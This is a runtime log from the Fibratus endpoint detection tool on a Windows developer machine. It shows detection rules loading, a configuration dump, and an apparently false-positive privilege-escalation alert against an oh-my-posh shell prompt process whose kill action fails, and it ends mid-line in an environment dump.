source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T20:41:37+01:00 level=info msg=bootstrapping with pid 4780. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T20:41:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-vamap=>true enable-threadpool=>false enable-thread=>true stack-enrichment=>true max-buffers=>36 enable-registry=>true enable-handle=>false enable-net=>true enable-image=>true min-buffers=>16 enable-mem=>false enable-audit-api=>true enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 formatter=>text level=>info] + output ......................... [ amqp=>[ timeout=>5s tls-insecure-skip-verify=>false durable=>false exchange-type=>topic exchange=>fibratus enabled=>false delivery-mode=>transient routing-key=>fibratus vhost=>/ passive=>false url=>amqp://localhost:5672] http=>[ serializer=>json timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false endpoints=>[]] elasticsearch=>[ index-name=>fibratus gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s trace-log=>false enabled=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false template-name=>fibratus healthcheck=>true] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-files=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T20:41:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:41:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:41:51+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2353116 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:41:45.9212276 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=2.0067" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 399e93000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c6a69d080, name➜ oh-my-posh.exe, pid➜ 4024, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:41:45.9211693 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 18305725317609684992, rule.name: Suspicious child process integrity level, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, subtechnique.name: Create Process with Token + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2353239 + Pid: 4024 + Tid: 16556 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:41:45.9314414 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3ace6e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c74ae50c0, name➜ conhost.exe, pid➜ 17496, ppid➜ 4024, real_ppid➜ 4024, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:41:45.9314414 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, technique.ref: https://attack.mitre.org/techniques/T1134/, rule.seq.link: 18305725317609684992, rule.name: Suspicious child process integrity level, technique.name: Access Token Manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 4024 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=2.0067" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=2.0067" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:41:51+01:00 level=info msg=executing kill action: pids=[4024 17496] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:41:51+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 4024: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:41:52+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2356257 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:41:47.2952732 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=109.0901" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 1d51ef000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c6bb9c0c0, name➜ oh-my-posh.exe, pid➜ 13848, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:41:47.2952732 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, tactic.id: TA0004, tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, rule.seq.link: 1762285376014759672, rule.name: Suspicious child process integrity level, subtechnique.name: Create Process with Token, tactic.name: Privilege Escalation, technique.ref: https://attack.mitre.org/techniques/T1134/ + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program 